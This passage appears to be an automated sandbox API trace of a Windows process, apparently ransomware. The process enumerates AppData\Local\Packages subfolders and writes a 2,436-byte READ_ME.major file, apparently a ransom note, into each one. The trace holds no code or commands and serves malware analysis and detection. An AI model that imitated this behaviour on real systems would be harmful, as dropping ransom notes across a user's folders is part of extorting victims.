(normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904 [0189.010] WriteFile (in: hFile=0x904, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.011] CloseHandle (hObject=0x904) returned 1 [0189.011] FindNextFileW (in: hFindFile=0x660cf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xced7b97a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3433d3f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0189.011] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904 [0189.016] WriteFile (in: hFile=0x904, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.017] CloseHandle (hObject=0x904) returned 1 [0189.017] FindNextFileW (in: hFindFile=0x660cf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232e193f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x232e193f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x232e193f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0189.017] FindNextFileW (in: hFindFile=0x660cf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xced7c17c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3433d3f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0189.017] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904 [0189.018] WriteFile (in: hFile=0x904, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.020] CloseHandle (hObject=0x904) returned 1 [0189.020] FindNextFileW (in: hFindFile=0x660cf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3459fc9, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712a64ad, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712a64ad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0189.021] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904 [0189.064] WriteFile (in: hFile=0x904, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.065] CloseHandle (hObject=0x904) returned 1 [0189.065] FindNextFileW (in: hFindFile=0x660cf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcee15758, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3433d3f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0189.066] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904 [0189.066] WriteFile (in: hFile=0x904, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.067] CloseHandle (hObject=0x904) returned 1 [0189.068] FindNextFileW (in: hFindFile=0x660cf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcee15758, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3433d3f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0189.068] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6065f77, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x233ecec7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660b30 [0189.068] FindNextFileW (in: hFindFile=0x660b30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6065f77, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x233ecec7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0189.068] FindNextFileW (in: hFindFile=0x660b30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc66f4772, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc66f4772, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0189.068] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0189.080] WriteFile (in: hFile=0x908, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.081] CloseHandle (hObject=0x908) returned 1 [0189.081] FindNextFileW (in: hFindFile=0x660b30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65e974f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65e974f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65e974f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0189.081] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0189.084] WriteFile (in: hFile=0x908, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.085] CloseHandle (hObject=0x908) returned 1 [0189.085] FindNextFileW (in: hFindFile=0x660b30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65c3617, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65c3617, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65c3617, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0189.085] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0189.087] WriteFile (in: hFile=0x908, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.088] CloseHandle (hObject=0x908) returned 1 [0189.088] FindNextFileW (in: hFindFile=0x660b30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6065f77, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc6065f77, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc6065f77, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0189.088] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0189.088] WriteFile (in: hFile=0x908, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.089] CloseHandle (hObject=0x908) returned 1 [0189.089] FindNextFileW (in: hFindFile=0x660b30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x233ecec7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x233ecec7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x233ecec7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0189.090] FindNextFileW (in: hFindFile=0x660b30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6065f77, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc6065f77, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc6065f77, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0189.090] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0189.105] WriteFile (in: hFile=0x908, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.106] CloseHandle (hObject=0x908) returned 1 [0189.107] FindNextFileW (in: hFindFile=0x660b30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65c3617, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65e974f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65e974f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0189.107] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0189.107] WriteFile (in: hFile=0x908, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.109] CloseHandle (hObject=0x908) returned 1 [0189.109] FindNextFileW (in: hFindFile=0x660b30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65e974f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65e974f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65e974f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0189.109] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0189.109] WriteFile (in: hFile=0x908, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.111] CloseHandle (hObject=0x908) returned 1 [0189.111] FindNextFileW (in: hFindFile=0x660b30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65c3617, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65c3617, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65c3617, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0189.111] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0189.112] WriteFile (in: hFile=0x908, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.113] CloseHandle (hObject=0x908) returned 1 [0189.113] FindNextFileW (in: hFindFile=0x660b30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65c3617, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65c3617, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65c3617, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0189.113] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77243451, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x233ecec7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660d70 [0189.113] FindNextFileW (in: hFindFile=0x660d70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77243451, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x233ecec7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0189.114] FindNextFileW (in: hFindFile=0x660d70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x77243451, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x772696ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x772696ba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0189.114] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c [0189.618] WriteFile (in: hFile=0x90c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.619] CloseHandle (hObject=0x90c) returned 1 [0189.619] FindNextFileW (in: hFindFile=0x660d70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0189.619] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c [0189.620] WriteFile (in: hFile=0x90c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.621] CloseHandle (hObject=0x90c) returned 1 [0189.621] FindNextFileW (in: hFindFile=0x660d70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0189.621] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c [0189.622] WriteFile (in: hFile=0x90c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.623] CloseHandle (hObject=0x90c) returned 1 [0189.623] FindNextFileW (in: hFindFile=0x660d70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0189.623] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c [0189.623] WriteFile (in: hFile=0x90c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.624] CloseHandle 